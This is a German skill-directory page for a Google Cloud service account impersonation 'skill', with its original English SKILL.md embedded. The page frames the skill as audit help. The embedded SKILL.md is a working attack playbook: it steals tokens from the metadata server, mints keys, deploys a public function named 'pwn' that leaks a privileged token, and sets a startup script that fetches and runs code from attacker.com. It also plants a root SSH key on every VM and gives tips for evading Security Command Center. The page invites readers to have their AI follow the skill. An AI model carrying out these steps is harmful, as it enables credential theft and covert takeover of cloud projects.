Zum Inhalt springen
Skillpedia
Sicherheit6.5k · #13997

gcp-svc-account-impersonation

Was er macht

Diese Fähigkeit behandelt, wie ein Dienstkonto mit wenig Rechten über Impersonation-Rollen wie ein mächtigeres Konto handeln könnte. Sie richtet sich an Cloud-Teams, die prüfen, wer wen nachahmen darf.

Wann du ihn nutzt

  • ✓Wenn eine autorisierte Prüfung Ketten von Dienstkonto-Impersonation finden muss.
  • ✓Wenn du prüfen willst, wer Rollen zum Erstellen von Token oder als Dienstkonto-Benutzer hat.
  • ✓Wenn ein Team prüft, welche Funktionen oder virtuellen Maschinen mit mächtigen Konten laufen.

Link zum Skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Kann eines unserer Dienstkonten mit wenig Rechten in Google Cloud ein Admin-Konto nachahmen?”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Dein Agent listet die Rollen für Impersonation auf, prüft, welche Konten sie nutzen können, um als andere zu handeln, und meldet die gefundenen Ketten.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

GCP Service Account Impersonation

You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.

Steal the token

From GCE / GKE / Cloud Run / Functions

TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r .access_token)

# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"

From a leaked key.json

gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)

Phase 1: Enumerate current permissions

# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'

# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
  --permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')

# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'

Phase 2: Impersonation primitives

roles/iam.serviceAccountTokenCreator

If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:

gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
  | jq -r .accessToken

iam.serviceAccountKeys.create

Mint a permanent JSON key for any SA you can act-on:

gcloud iam service-accounts keys create /tmp/k.json \
  --iam-account=target@PROJECT.iam.gserviceaccount.com
# Long-lived credential — survives token rotation.

cloudfunctions.functions.update + actAs

Deploy a function that runs AS a more-priv SA:

mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
    import subprocess
    out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
    return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
  --service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
# Then HTTP-call it to get the higher-priv token

compute.instances.setMetadata

Inject a startup-script that runs as the VM's SA on next boot:

gcloud compute instances add-metadata target-vm --zone=us-central1-a \
  --metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a

compute.projects.setCommonInstanceMetadata

Project-wide metadata = SSH key on every VM in the project:

ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"

Phase 3: Cross-project pivot

# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .

# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
  echo "=== $p ==="
  gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done

OPSEC

  • Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
  • Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
  • Key creation creates a Cloud Audit google.iam.admin.v1.CreateServiceAccountKey event — high-fidelity detection.
  • GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.

Refe

Häufige Fragen

Welche Rollen sind am wichtigsten?

Die Fähigkeit nennt Rechte zum Erstellen von Token, Dienstkonto-Benutzer und actAs bei Funktionen, Cloud Run und Compute-Instanzen.

Welcher Zugriff wird am Anfang vorausgesetzt?

Sie setzt voraus, dass bereits einige Google-Cloud-Zugangsdaten verfügbar sind, etwa auf einer virtuellen Maschine.

Wie wird das Ergebnis genutzt?

Teams entfernen damit Impersonation-Rechte, die nicht gebraucht werden.

Details

Originalbeschreibung des Autors

GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.

repo: BitterSecurity/Decepticon

Beliebtheit

GitHub-Sterne
6.5k
Platz im Ranking
#13997
Lizenz
Apache-2.0
Aktualisiert
1.11.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills